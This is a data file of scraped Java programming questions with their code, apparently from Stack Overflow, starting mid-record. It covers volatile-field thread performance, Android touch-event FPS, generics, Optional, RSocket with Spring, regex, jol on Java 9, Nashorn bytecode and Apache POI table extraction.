Microsystems Inc.VM Version : 19.0-b09VM Name : OpenJDK 64-Bit Server VMOS Name : LinuxOS Arch : amd64OS Version : 2.6.32-28-genericProcessors/Cores : 4 With volatile keyword : Final results:45848 ms. when prepare ( ) was called after instantiation.110754 ms. when prepare ( ) was called before execution . Without volatile keyword : Final results:37862 ms. when prepare ( ) was called after instantiation.39357 ms. when prepare ( ) was called before execution . Mac OS Details ( volatile ) : Test 1 , 4 threads , setting variable in creation loopThread-2 completed after 653 ms.Thread-3 completed after 653 ms.Thread-4 completed after 653 ms.Thread-5 completed after 653 ms.Overall time : 654 ms. Test 2 , 4 threads , setting variable in start loopThread-7 completed after 1588 ms.Thread-6 completed after 1589 ms.Thread-8 completed after 1593 ms.Thread-9 completed after 1593 ms.Overall time : 1594 ms. Test 3 , 4 threads , setting variable in creation loopThread-10 completed after 648 ms.Thread-12 completed after 648 ms.Thread-13 completed after 648 ms.Thread-11 completed after 648 ms.Overall time : 648 ms. Test 4 , 4 threads , setting variable in start loopThread-17 completed after 1353 ms.Thread-16 completed after 1957 ms.Thread-14 completed after 2170 ms.Thread-15 completed after 2169 ms.Overall time : 2172 ms. ( and so on , sometimes one or two of the threads in the 'slow ' loop finish as expected , but most times they do n't ) .The given example looks theoretically , as it is of no use , and 'volatile ' is not needed here - however , if you 'd use a 'java.util.Random'-Instance instead of the 'Container'-Class and call , for instance , nextInt ( ) multiple times , the same effects will occur : The thread will be executed fast if you create the object in the Thread 's constructor , but slow if you create it within the run ( ) -method . I believe that the performance issues described in Java Random Slowdowns on Mac OS more than a year ago are related to this effect , but I have no idea why it is as it is - besides that I 'm sure that it should n't be like that , as it would mean that it 's always dangerous to create a new object within the run-method of a thread , unless you know that no volatile variables will get involved within the object graph . Profiling does n't help , as the problem disappears in this case ( same observation as in Java Random Slowdowns on Mac OS cont 'd ) , and it also does not happen on a single-core-PC - so I 'd guess that it 's kind of a thread synchronization problem ... however , the strange thing is that there 's actually nothing to synchronize , as all variables are thread-local.Really looking forward for any hints - and just in case you want to confirm or falsify the problem , see the test case below.Thanks , Stephan }","private static class Container { private volatile long value ; public long getValue ( ) { return value ; } public final void set ( long newValue ) { value = newValue ; } } private static class DemoThread extends Thread { private Container variable ; public void prepare ( ) { this.variable = new Container ( ) ; } public void run ( ) { for ( int j = 0 ; j < 10000000 ; j++ ) { variable.set ( variable.getValue ( ) + System.nanoTime ( ) ) ; } } } DemoThread [ ] threads = new DemoThread [ numberOfThreads ] ; for ( int j = 0 ; j < 100 ; j++ ) { boolean prepareAfterConstructor = j % 2 == 0 ; for ( int i = 0 ; i < threads.length ; i++ ) { threads [ i ] = new DemoThread ( ) ; if ( prepareAfterConstructor ) threads [ i ] .prepare ( ) ; } for ( int i = 0 ; i < threads.length ; i++ ) { if ( ! prepareAfterConstructor ) threads [ i ] .prepare ( ) ; threads [ i ] .start ( ) ; } joinThreads ( threads ) ; } public class UnexpectedPerformanceIssue { private static class Container { // Remove the volatile keyword , and the problem disappears ( on windows ) // or gets smaller ( on mac os ) private volatile long value ; public long getValue ( ) { return value ; } public final void set ( long newValue ) { value = newValue ; } } private static class DemoThread extends Thread { private Container variable ; public void prepare ( ) { this.variable = new Container ( ) ; } @ Override public void run ( ) { long start = System.nanoTime ( ) ; for ( int j = 0 ; j < 10000000 ; j++ ) { variable.set ( variable.getValue ( ) + System.nanoTime ( ) ) ; } long end = System.nanoTime ( ) ; System.out.println ( this.getName ( ) + `` completed after `` + ( ( end - start ) /1000000 ) + `` ms. '' ) ; } } public static void main ( String [ ] args ) { System.out.println ( `` Java Version : `` + System.getProperty ( `` java.version '' ) ) ; System.out.println ( `` Java Class Version : `` + System.getProperty ( `` java.class.version '' ) ) ; System.out.println ( `` VM Vendor : `` + System.getProperty ( `` java.vm.specification.vendor '' ) ) ; System.out.println ( `` VM Version : `` + System.getProperty ( `` java.vm.version '' ) ) ; System.out.println ( `` VM Name : `` + System.getProperty ( `` java.vm.name '' ) ) ; System.out.println ( `` OS Name : `` + System.getProperty ( `` os.name '' ) ) ; System.out.println ( `` OS Arch : `` + System.getProperty ( `` os.arch '' ) ) ; System.out.println ( `` OS Version : `` + System.getProperty ( `` os.version '' ) ) ; System.out.println ( `` Processors/Cores : `` + Runtime.getRuntime ( ) .availableProcessors ( ) ) ; System.out.println ( ) ; int numberOfThreads = 4 ; System.out.println ( `` \nReference Test ( single thread ) : '' ) ; DemoThread t = new DemoThread ( ) ; t.prepare ( ) ; t.run ( ) ; DemoThread [ ] threads = new DemoThread [ numberOfThreads ] ; long createTime = 0 , startTime = 0 ; for ( int j = 0 ; j < 100 ; j++ ) { boolean prepareAfterConstructor = j % 2 == 0 ; long overallStart = System.nanoTime ( ) ; if ( prepareAfterConstructor ) { System.out.println ( `` \nTest `` + ( j+1 ) + `` , `` + numberOfThreads + `` threads , setting variable in creation loop '' ) ; } else { System.out.println ( `` \nTest `` + ( j+1 ) + `` , `` + numberOfThreads + `` threads , setting variable in start loop '' ) ; } for ( int i = 0 ; i < threads.length ; i++ ) { threads [ i ] = new DemoThread ( ) ; // Either call DemoThread.prepare ( ) here ( in odd loops ) ... if ( prepareAfterConstructor ) threads [ i ] .prepare ( ) ; } for ( int i = 0 ; i < threads.length ; i++ ) { // or here ( in even loops ) . Should make no difference , but does ! if ( ! prepareAfterConstructor ) threads [ i ] .prepare ( ) ; threads [ i ] .start ( ) ; } joinThreads ( threads ) ; long overallEnd = System.nanoTime ( ) ; long overallTime = ( overallEnd - overallStart ) ; if ( prepareAfterConstructor ) { createTime += overallTime ; } else { startTime += overallTime ; } System.out.println ( `` Overall time : `` + ( overallTime ) /1000000 + `` ms. '' ) ; } System.out.println ( `` Final results : '' ) ; System.out.println ( createTime/1000000 + `` ms. when prepare ( ) was called after instantiation . `` ) ; System.out.println ( startTime/1000000 + `` ms. when prepare ( ) was called before execution . `` ) ; } private static void joinThreads ( Thread [ ] threads ) { for ( int i = 0 ; i < threads.length ; i++ ) { try { threads [ i ] .join ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } }",How can assigning a variable result in a serious performance drop while the execution order is ( nearly ) untouched ? +Java,"For some reason my FPS jumps up considerably when I move my mouse around on the screen ( on the emulator ) while holding the left mouse button . Normally my game is very laggy , but if I touch the screen ( and as long as I am moving the mouse around while touching ) it goes perfectly smooth.I have tried sleeping for 20ms in the onTouchEvent , but it does n't appear to make any difference.Here is the code I use in my onTouchEvent : In the logcat log , FPS is the current fps ( average of the last 20 frames ) , touch is whether or not the screen is being touched ( from onTouchEvent ) .What on earth is going on ? Has anyone else had this odd behaviour before ? Logcat log :",// events when touching the screen public boolean onTouchEvent ( MotionEvent event ) { int eventaction = event.getAction ( ) ; touchX=event.getX ( ) ; touchY=event.getY ( ) ; switch ( eventaction ) { case MotionEvent.ACTION_DOWN : { touch=true ; } break ; case MotionEvent.ACTION_MOVE : { } break ; case MotionEvent.ACTION_UP : { touch=false ; } break ; } /*try { AscentThread.sleep ( 20 ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } */ return true ; } 12-21 19:43:26.154 : INFO/myActivity ( 786 ) : FPS : 31.686569159606414 Touch : false12-21 19:43:27.624 : INFO/myActivity ( 786 ) : FPS : 19.46310293212206 Touch : false12-21 19:43:29.104 : INFO/myActivity ( 786 ) : FPS : 18.801202175690467 Touch : false12-21 19:43:30.514 : INFO/myActivity ( 786 ) : FPS : 21.118295877408478 Touch : false12-21 19:43:31.985 : INFO/myActivity ( 786 ) : FPS : 19.117397812958878 Touch : false12-21 19:43:33.534 : INFO/myActivity ( 786 ) : FPS : 15.572571858239263 Touch : false12-21 19:43:34.934 : INFO/myActivity ( 786 ) : FPS : 20.584119901503506 Touch : false12-21 19:43:36.404 : INFO/myActivity ( 786 ) : FPS : 18.888025905454207 Touch : false12-21 19:43:37.814 : INFO/myActivity ( 786 ) : FPS : 22.35722329083629 Touch : false12-21 19:43:39.353 : INFO/myActivity ( 786 ) : FPS : 15.73604859775362 Touch : false12-21 19:43:40.763 : INFO/myActivity ( 786 ) : FPS : 20.912449882754633 Touch : false12-21 19:43:42.233 : INFO/myActivity ( 786 ) : FPS : 18.785278388997718 Touch : false12-21 19:43:43.634 : INFO/myActivity ( 786 ) : FPS : 20.1357397209596 Touch : false12-21 19:43:45.043 : INFO/myActivity ( 786 ) : FPS : 21.961138432007957 Touch : false12-21 19:43:46.453 : INFO/myActivity ( 786 ) : FPS : 22.167196852834273 Touch : false12-21 19:43:47.854 : INFO/myActivity ( 786 ) : FPS : 22.207318228024274 Touch : false12-21 19:43:49.264 : INFO/myActivity ( 786 ) : FPS : 22.36980559230175 Touch : false12-21 19:43:50.604 : INFO/myActivity ( 786 ) : FPS : 23.587638823252547 Touch : false12-21 19:43:52.073 : INFO/myActivity ( 786 ) : FPS : 19.233902040593076 Touch : false12-21 19:43:53.624 : INFO/myActivity ( 786 ) : FPS : 15.542190150440987 Touch : false12-21 19:43:55.034 : INFO/myActivity ( 786 ) : FPS : 20.82290063974675 Touch : false12-21 19:43:56.436 : INFO/myActivity ( 786 ) : FPS : 21.975282007207717 Touch : false12-21 19:43:57.914 : INFO/myActivity ( 786 ) : FPS : 18.786927284103687 Touch : false12-21 19:43:59.393 : INFO/myActivity ( 786 ) : FPS : 18.96879004217992 Touch : false12-21 19:44:00.625 : INFO/myActivity ( 786 ) : FPS : 28.367566618064878 Touch : false12-21 19:44:02.113 : INFO/myActivity ( 786 ) : FPS : 19.04441528684418 Touch : false12-21 19:44:03.585 : INFO/myActivity ( 786 ) : FPS : 18.807837511809065 Touch : false12-21 19:44:04.993 : INFO/myActivity ( 786 ) : FPS : 21.134330284993418 Touch : false12-21 19:44:06.275 : INFO/myActivity ( 786 ) : FPS : 27.209688764079907 Touch : false12-21 19:44:07.753 : INFO/myActivity ( 786 ) : FPS : 19.055894653261653 Touch : false12-21 19:44:09.163 : INFO/myActivity ( 786 ) : FPS : 22.05422794901088 Touch : false12-21 19:44:10.644 : INFO/myActivity ( 786 ) : FPS : 18.6956805300596 Touch : false12-21 19:44:12.124 : INFO/myActivity ( 786 ) : FPS : 17.434180581311054 Touch : false12-21 19:44:13.594 : INFO/myActivity ( 786 ) : FPS : 18.71932038510891 Touch : false12-21 19:44:14.504 : INFO/myActivity ( 786 ) : FPS : 40.94571503868066 Touch : true12-21 19:44:14.924 : INFO/myActivity ( 786 ) : FPS : 57.061200121138576 Touch : true12-21 19:44:15.364 : INFO/myActivity ( 786 ) : FPS : 62.54377946377936 Touch : true12-21 19:44:15.764 : INFO/myActivity ( 786 ) : FPS : 64.05005071818726 Touch : true12-21 19:44:16.384 : INFO/myActivity ( 786 ) : FPS : 50.912951172948155 Touch : true12-21 19:44:16.874 : INFO/myActivity ( 786 ) : FPS : 55.31242053078078 Touch : true12-21 19:44:17.364 : INFO/myActivity ( 786 ) : FPS : 59.31625410615102 Touch : true12-21 19:44:18.413 : INFO/myActivity ( 786 ) : FPS : 36.63504170925923 Touch : false12-21 19:44:19.885 : INFO/myActivity ( 786 ) : FPS : 18.099130467755923 Touch : false12-21 19:44:21.363 : INFO/myActivity ( 786 ) : FPS : 18.458978222946566 Touch : false12-21 19:44:22.683 : INFO/myActivity ( 786 ) : FPS : 25.582179409330823 Touch : true12-21 19:44:23.044 : INFO/myActivity ( 786 ) : FPS : 60.99865521942455 Touch : true12-21 19:44:23.403 : INFO/myActivity ( 786 ) : FPS : 74.17873975470984 Touch : true12-21 19:44:23.763 : INFO/myActivity ( 786 ) : FPS : 64.25663040460714 Touch : true12-21 19:44:24.113 : INFO/myActivity ( 786 ) : FPS : 62.47483457826921 Touch : true12-21 19:44:24.473 : INFO/myActivity ( 786 ) : FPS : 65.27969529547072 Touch : true12-21 19:44:24.825 : INFO/myActivity ( 786 ) : FPS : 67.84743115273311 Touch : true12-21 19:44:25.173 : INFO/myActivity ( 786 ) : FPS : 73.50854551357706 Touch : true12-21 19:44:25.523 : INFO/myActivity ( 786 ) : FPS : 70.46432534585368 Touch : true12-21 19:44:25.873 : INFO/myActivity ( 786 ) : FPS : 69.04076953445896 Touch : true,Why does my performance increase when touching the screen ? +Java,"I want to manage an ArrayList of classes . For instance , I have 3 types of filters : TextFilter , DurationFilter and TimeFilter which extend Filter . That seems to be correct : But now I want to restrain the ArrayList type with But it seems that it is not correct . Can you explain why ? Do you have a solution to only accept Filter child classes to be adde in my ArrayList ? Thanks .",List < Class > filters = new ArrayList < Class > ( ) ; filters.add ( TextFilter.class ) ; filters.add ( DurationFilter.class ) ; filters.add ( TimeFilter.class ) ; List < Filter.class > filters = new ArrayList < Filter.class > ( ) ; filters.add ( TextFilter.class ) ; filters.add ( DurationFilter.class ) ; filters.add ( TimeFilter.class ) ;,ArrayList of classes : ArrayList < Class > but how to force those classes to extend some super class ? +Java,"That would be so obviously useful that I am starting to think I am missing a rationale to avoid it , since I am sure Oracle would have made it that way . It would be the most valuable feature on Optional for me . ( This throws a NullPointerException ) Without that feature I see too verbose using Optional for the argument.I prefer a simple Object optional signature and checking it by if ( null = optional ) that creating the object Optional for comparing later . It is not valuable if that does n't help you checking the null",public class TestOptionals { public static void main ( String [ ] args ) { test ( null ) ; } public static void test ( Optional < Object > optional ) { System.out.println ( optional.orElse ( new DefaultObject ( ) ) ) ; } },Would it be a good idea if compiler resolved nulls when Optional < Object > is expected as argument ? +Java,"There are 4 interaction models provided in RSocket.fire and forgetrequest and responserequest streamrequest channel ( metadata push ) Spring ( and Spring Boot ) provides RSocket integration , it is easy to build a RSocket server with the existing messaging infrastructure to hide the original RSocket APIs.And in the client side , there is a RescoketRequester provided to shake hands with the server.But how to use requestChannel and metadataPush model in Spring way ( using messaging infrastructure ) ? The sample codes is on Github . Update : added requestChannel sample.Update : SETUP and METADATA_PUSH can be handled by @ ConnectMapping . And Spring Security RSocket can secure SETUP and REQUEST .","@ MessageMapping ( `` hello '' ) public Mono < Void > hello ( Greeting p ) { log.info ( `` received : { } at { } '' , p , Instant.now ( ) ) ; return Mono.empty ( ) ; } @ MessageMapping ( `` greet . { name } '' ) public Mono < String > greet ( @ DestinationVariable String name , @ Payload Greeting p ) { log.info ( `` received : { } , { } at { } '' , name , p , Instant.now ( ) ) ; return Mono.just ( `` Hello `` + name + `` , `` + p.getMessage ( ) + `` at `` + Instant.now ( ) ) ; } @ MessageMapping ( `` greet-stream '' ) public Flux < String > greetStream ( @ Payload Greeting p ) { log.info ( `` received : { } at { } '' , p , Instant.now ( ) ) ; return Flux.interval ( Duration.ofSeconds ( 1 ) ) .map ( i - > `` Hello # '' + i + `` , '' + p.getMessage ( ) + `` at `` + Instant.now ( ) ) ; } @ GetMapping ( `` hello '' ) Mono < Void > hello ( ) { return this.requester.route ( `` hello '' ) .data ( new Greeting ( `` Welcome to Rsocket '' ) ) .send ( ) ; } @ GetMapping ( `` name/ { name } '' ) Mono < String > greet ( @ PathVariable String name ) { return this.requester.route ( `` greet . '' + name ) .data ( new Greeting ( `` Welcome to Rsocket '' ) ) .retrieveMono ( String.class ) ; } @ GetMapping ( value = `` stream '' , produces = MediaType.TEXT_EVENT_STREAM_VALUE ) Flux < String > greetStream ( ) { return this.requester.route ( `` greet-stream '' ) .data ( new Greeting ( `` Welcome to Rsocket '' ) ) .retrieveFlux ( String.class ) .doOnNext ( msg - > log.info ( `` received messages : : '' + msg ) ) ; }",How to map all interaction models of RSocket in Spring Boot +Java,I want to transforme all `` * '' into `` . * '' excepte `` \* '' If the `` * '' is the first character a error occure : java.util.regex.PatternSyntaxException : Dangling meta character '* ' near index 0What is the correct regex ?,"String regex01 = `` \\*toto '' .replaceAll ( `` [ ^\\\\ ] \\* '' , `` . * '' ) ; assertTrue ( `` *toto '' .matches ( regex01 ) ) ; // TrueString regex02 = `` toto* '' .replaceAll ( `` [ ^\\\\ ] \\* '' , `` . * '' ) ; assertTrue ( `` tototo '' .matches ( regex02 ) ) ; // TrueString regex03 = `` *toto '' .replaceAll ( `` [ ^\\\\ ] \\* '' , `` . * '' ) ; assertTrue ( `` tototo '' .matches ( regex03 ) ) ; // Error",Java replaceAll regex error +Java,"You can use e.g . JUnit to test the functionality of your library , but how do you test its type-safetiness with regards to generics and wildcards ? Only testing against codes that compile is a `` happy path '' testing ; should n't you also test your API against non-type-safe usage and confirm that those codes do NOT compile ? So how do you verify that your genericized API raises the proper errors at compile time ? Do you just build a suite a non-compiling code to test your library against , and consider a compilation error as a test success and vice versa ? ( Of course you have to confirm that the errors are generics-related ) .Are there frameworks that facilitate such testing ?",// how do you write and verify these kinds of `` tests '' ? List < Number > numbers = new ArrayList < Number > ( ) ; List < Object > objects = new ArrayList < Object > ( ) ; objects.addAll ( numbers ) ; // expect : this compiles numbers.addAll ( objects ) ; // expect : this does not compile,How do you test the type-safetiness of your genericized API ? +Java,Using java-9 build 9-ea+149 and jol 0.6 . Running this simple code : Output : This access denied part comes from FieldData.java in the method : And the actual exception is : Unable to make field protected transient int java.util.AbstractList.modCount accessible : module java.base does not `` opens java.util '' to unnamed module @ 479d31f3.I think that this has to do with Unsafe features being locked down . The question is how do I get this to run ? I 've looked at properties like : But ca n't really tell what it is supposed to look like .,"ArrayList < Integer > list = new ArrayList < > ( ) ; list.add ( 12 ) ; System.out.println ( ClassLayout.parseInstance ( list ) .toPrintable ( ) ) ; OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 ( object header ) 01 00 00 00 ( 00000001 00000000 00000000 00000000 ) ( 1 ) 4 4 ( object header ) 00 00 00 00 ( 00000000 00000000 00000000 00000000 ) ( 0 ) 8 4 ( object header ) 0e 8d 00 f8 ( 00001110 10001101 00000000 11111000 ) ( -134181618 ) 12 4 int AbstractList.modCount ( access denied ) 16 4 int ArrayList.size ( access denied ) 20 4 Object [ ] ArrayList.elementData ( access denied ) public String safeValue ( Object object ) { if ( refField ! = null ) { try { return ObjectUtils.safeToString ( refField.get ( object ) ) ; } catch ( IllegalAccessException iae ) { // exception , try again } try { refField.setAccessible ( true ) ; return ObjectUtils.safeToString ( refField.get ( object ) ) ; } catch ( Exception e ) { return `` ( access denied ) '' ; } } else { return `` N/A '' ; } } -XaddExports : java.base/sun.security.provider=ALL-UNNAMED",Is jol a little broken under Java9 ? +Java,"I have Tiles which represent the tiles in a game 's 2-dimensional world . The tiles can have walls on any number of their 4 sides . I have something like this at the moment : Somewhere else I also have 16 images , one for each possible tile wall configuration . Something like this : I want to write a What I 'd like to avoid is the torture of going through the possibilities likeDoes anyone know a cuter way to do this ?",interface Tile { boolean isWallAtTop ( ) ; boolean isWallAtRight ( ) ; boolean isWallAtLeft ( ) ; boolean isWallAtBottom ( ) ; } static final Image WALLS_ALL_AROUND = ... static final Image WALL_ON_TOP_AND_RIGHT = ... /* etc etc all 16 possibilities */ static Image getWallImage ( Tile tile ) if ( tile.isWallTop & & tile.isWallRight & & ! tile.isWallBottom & & ! tile.isWallLeft ) { return WALL_ON_TOP_AND_RIGHT ; },Nice way to do this in modern OO C-like language ? +Java,"I am trying to have Java 8 Nashorn with complete source ( not instrumented ) . As you may know , it uses Nasgen to modify the .classes , and the output is shipped in JRE/lib/ext/nashorn.jar.On disassembling the output , using javap : which could be erroneously written as , which should call the super constructor with signature : My issue is the second parameter NativeFunction.function , which I could n't have a compilable source , to generate the same MethodHandle in the constant pool , That part of instrumentation was done by ASM , by calling MethodVisitor.visitLdcInsn.So , is there a way to construct such a method handle from the Java source , or this is a feature which can be done at bytecode-level only ? The full javap output :","0 : aload_0 1 : ldc # 24 // String Function 3 : ldc # 31 // MethodHandle invokestatic jdk/nashorn/internal/objects/NativeFunction.function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; 5 : getstatic # 22 // Field $ nasgenmap $ : Ljdk/nashorn/internal/runtime/PropertyMap ; 8 : aconst_null 9 : invokespecial # 34 // Method jdk/nashorn/internal/objects/ScriptFunctionImpl . `` < init > '' : ( Ljava/lang/String ; Ljava/lang/invoke/MethodHandle ; Ljdk/nashorn/internal/runtime/PropertyMap ; [ Ljdk/nashorn/internal/runtime/Specialization ; ) V super ( `` Function '' , NativeFunction.function , $ nasgenmap $ , ( Specialization [ ] ) null ) ; ScriptFunctionImpl ( String , MethodHandle , PropertyMap , Specialization [ ] ) { } # 31 = MethodHandle # 6 : # 30 // invokestatic jdk/nashorn/internal/objects/NativeFunction.function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; $ javap -c -v NativeFunction $ Constructor.class Last modified Apr 10 , 2015 ; size 1161 bytes MD5 checksum dcae2f54643befc519a45e9ac9bc4781final class jdk.nashorn.internal.objects.NativeFunction $ Constructor extends jdk.nashorn.internal.objects.ScriptFunctionImpl minor version : 0 major version : 51 flags : ACC_FINALConstant pool : # 1 = Utf8 jdk/nashorn/internal/objects/NativeFunction $ Constructor # 2 = Class # 1 // jdk/nashorn/internal/objects/NativeFunction $ Constructor # 3 = Utf8 jdk/nashorn/internal/objects/ScriptFunctionImpl # 4 = Class # 3 // jdk/nashorn/internal/objects/ScriptFunctionImpl # 5 = Utf8 $ nasgenmap $ # 6 = Utf8 Ljdk/nashorn/internal/runtime/PropertyMap ; # 7 = Utf8 < clinit > # 8 = Utf8 ( ) V # 9 = Utf8 java/util/ArrayList # 10 = Class # 9 // java/util/ArrayList # 11 = Utf8 < init > # 12 = Utf8 ( I ) V # 13 = NameAndType # 11 : # 12 // `` < init > '' : ( I ) V # 14 = Methodref # 10. # 13 // java/util/ArrayList . `` < init > '' : ( I ) V # 15 = Utf8 jdk/nashorn/internal/runtime/PropertyMap # 16 = Class # 15 // jdk/nashorn/internal/runtime/PropertyMap # 17 = Utf8 newMap # 18 = Utf8 ( Ljava/util/Collection ; ) Ljdk/nashorn/internal/runtime/PropertyMap ; # 19 = NameAndType # 17 : # 18 // newMap : ( Ljava/util/Collection ; ) Ljdk/nashorn/internal/runtime/PropertyMap ; # 20 = Methodref # 16. # 19 // jdk/nashorn/internal/runtime/PropertyMap.newMap : ( Ljava/util/Collection ; ) Ljdk/nashorn/internal/runtime/PropertyMap ; # 21 = NameAndType # 5 : # 6 // $ nasgenmap $ : Ljdk/nashorn/internal/runtime/PropertyMap ; # 22 = Fieldref # 2. # 21 // jdk/nashorn/internal/objects/NativeFunction $ Constructor. $ nasgenmap $ : Ljdk/nashorn/internal/runtime/PropertyMap ; # 23 = Utf8 Function # 24 = String # 23 // Function # 25 = Utf8 jdk/nashorn/internal/objects/NativeFunction # 26 = Class # 25 // jdk/nashorn/internal/objects/NativeFunction # 27 = Utf8 function # 28 = Utf8 ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; # 29 = NameAndType # 27 : # 28 // function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; # 30 = Methodref # 26. # 29 // jdk/nashorn/internal/objects/NativeFunction.function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; # 31 = MethodHandle # 6 : # 30 // invokestatic jdk/nashorn/internal/objects/NativeFunction.function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; # 32 = Utf8 ( Ljava/lang/String ; Ljava/lang/invoke/MethodHandle ; Ljdk/nashorn/internal/runtime/PropertyMap ; [ Ljdk/nashorn/internal/runtime/Specialization ; ) V # 33 = NameAndType # 11 : # 32 // `` < init > '' : ( Ljava/lang/String ; Ljava/lang/invoke/MethodHandle ; Ljdk/nashorn/internal/runtime/PropertyMap ; [ Ljdk/nashorn/internal/runtime/Specialization ; ) V # 34 = Methodref # 4. # 33 // jdk/nashorn/internal/objects/ScriptFunctionImpl . `` < init > '' : ( Ljava/lang/String ; Ljava/lang/invoke/MethodHandle ; Ljdk/nashorn/internal/runtime/PropertyMap ; [ Ljdk/nashorn/internal/runtime/Specialization ; ) V # 35 = Utf8 jdk/nashorn/internal/objects/NativeFunction $ Prototype # 36 = Class # 35 // jdk/nashorn/internal/objects/NativeFunction $ Prototype # 37 = NameAndType # 11 : # 8 // `` < init > '' : ( ) V # 38 = Methodref # 36. # 37 // jdk/nashorn/internal/objects/NativeFunction $ Prototype . `` < init > '' : ( ) V # 39 = Utf8 jdk/nashorn/internal/objects/PrototypeObject # 40 = Class # 39 // jdk/nashorn/internal/objects/PrototypeObject # 41 = Utf8 setConstructor # 42 = Utf8 ( Ljava/lang/Object ; Ljava/lang/Object ; ) V # 43 = NameAndType # 41 : # 42 // setConstructor : ( Ljava/lang/Object ; Ljava/lang/Object ; ) V # 44 = Methodref # 40. # 43 // jdk/nashorn/internal/objects/PrototypeObject.setConstructor : ( Ljava/lang/Object ; Ljava/lang/Object ; ) V # 45 = Utf8 jdk/nashorn/internal/runtime/ScriptFunction # 46 = Class # 45 // jdk/nashorn/internal/runtime/ScriptFunction # 47 = Utf8 setPrototype # 48 = Utf8 ( Ljava/lang/Object ; ) V # 49 = NameAndType # 47 : # 48 // setPrototype : ( Ljava/lang/Object ; ) V # 50 = Methodref # 46. # 49 // jdk/nashorn/internal/runtime/ScriptFunction.setPrototype : ( Ljava/lang/Object ; ) V # 51 = Utf8 setArity # 52 = NameAndType # 51 : # 12 // setArity : ( I ) V # 53 = Methodref # 46. # 52 // jdk/nashorn/internal/runtime/ScriptFunction.setArity : ( I ) V # 54 = Utf8 Code { public static { } ; flags : ACC_PUBLIC , ACC_STATIC Code : stack=3 , locals=0 , args_size=0 0 : new # 10 // class java/util/ArrayList 3 : dup 4 : iconst_1 5 : invokespecial # 14 // Method java/util/ArrayList . `` < init > '' : ( I ) V 8 : invokestatic # 20 // Method jdk/nashorn/internal/runtime/PropertyMap.newMap : ( Ljava/util/Collection ; ) Ljdk/nashorn/internal/runtime/PropertyMap ; 11 : putstatic # 22 // Field $ nasgenmap $ : Ljdk/nashorn/internal/runtime/PropertyMap ; 14 : return jdk.nashorn.internal.objects.NativeFunction $ Constructor ( ) ; flags : Code : stack=5 , locals=1 , args_size=1 0 : aload_0 1 : ldc # 24 // String Function 3 : ldc # 31 // MethodHandle invokestatic jdk/nashorn/internal/objects/NativeFunction.function : ( ZLjava/lang/Object ; [ Ljava/lang/Object ; ) Ljdk/nashorn/internal/runtime/ScriptFunction ; 5 : getstatic # 22 // Field $ nasgenmap $ : Ljdk/nashorn/internal/runtime/PropertyMap ; 8 : aconst_null 9 : invokespecial # 34 // Method jdk/nashorn/internal/objects/ScriptFunctionImpl . `` < init > '' : ( Ljava/lang/String ; Ljava/lang/invoke/MethodHandle ; Ljdk/nashorn/internal/runtime/PropertyMap ; [ Ljdk/nashorn/internal/runtime/Specialization ; ) V 12 : aload_0 13 : new # 36 // class jdk/nashorn/internal/objects/NativeFunction $ Prototype 16 : dup 17 : invokespecial # 38 // Method jdk/nashorn/internal/objects/NativeFunction $ Prototype . `` < init > '' : ( ) V 20 : dup 21 : aload_0 22 : invokestatic # 44 // Method jdk/nashorn/internal/objects/PrototypeObject.setConstructor : ( Ljava/lang/Object ; Ljava/lang/Object ; ) V 25 : invokevirtual # 50 // Method jdk/nashorn/internal/runtime/ScriptFunction.setPrototype : ( Ljava/lang/Object ; ) V 28 : aload_0 29 : iconst_1 30 : invokevirtual # 53 // Method jdk/nashorn/internal/runtime/ScriptFunction.setArity : ( I ) V 33 : return }",Java code to be compiled into MethodHandle in Constant Pool +Java,"I 've the following classesKeyValue.javaReader.javaTest.javaHere the method call find ( ... ... ) is failing at compile time with error message The method find ( Class , Reader ) in the type Test is not applicable for the arguments ( Class , new Reader > ( ) { } ) .This method has to return object of type List < KeyValue < Object > > .What is wrong with this design and how to fix this.Thank you .","package test ; public class KeyValue < T > { private String key ; private T value ; public String getKey ( ) { return key ; } public void setKey ( String key ) { this.key = key ; } public T getValue ( ) { return value ; } public void setValue ( T value ) { this.value = value ; } } package test ; public interface Reader < T > { < S extends T > S read ( Class < S > clazz ) ; } package test ; import java.util.List ; public class Test { public static void main ( String [ ] args ) { List < KeyValue < Object > > list = find ( KeyValue.class , new Reader < KeyValue < Object > > ( ) { @ Override public < S extends KeyValue < Object > > S read ( Class < S > clazz ) { return null ; } } ) ; } public static < T > List < T > find ( Class < T > targetClass , Reader < T > reader ) { return null ; } }",What is wrong with this java generic method syntax +Java,"I need to extract table cells as images . The cells may contain mixed content ( Text + Image ) , which I need to merge into a single image . I am able to get the core text but I have no idea to get an image+text . Not sure if Apace POI would help.Has anyone done something like this earlier ? Now I am able to get Text with the help of this methodHow do I get the Image if a cell also contains one ?",public static void readTablesDataInDocx ( XWPFDocument doc ) { int tableIdx = 1 ; int rowIdx = 1 ; int colIdx = 1 ; List table = doc.getTables ( ) ; System.out.println ( `` ==========No Of Tables in Document============================================= '' + table.size ( ) ) ; for ( int k = 0 ; k < table.size ( ) ; k++ ) { XWPFTable xwpfTable = ( XWPFTable ) table.get ( k ) ; System.out.println ( `` ================table - '' + tableIdx + `` ===Data== '' ) ; rowIdx = 1 ; List row = xwpfTable.getRows ( ) ; for ( int j = 0 ; j < row.size ( ) ; j++ ) { XWPFTableRow xwpfTableRow = ( XWPFTableRow ) row.get ( j ) ; System.out.println ( `` Row - '' + rowIdx ) ; colIdx = 1 ; List cell = xwpfTableRow.getTableCells ( ) ; for ( int i = 0 ; i < cell.size ( ) ; i++ ) { XWPFTableCell xwpfTableCell = ( XWPFTableCell ) cell.get ( i ) ; if ( xwpfTableCell ! = null ) { System.out.print ( `` \t '' + colIdx + `` - column value : `` + xwpfTableCell.getText ( ) ) ; } colIdx++ ; } System.out.println ( `` '' ) ; rowIdx++ ; } tableIdx++ ; 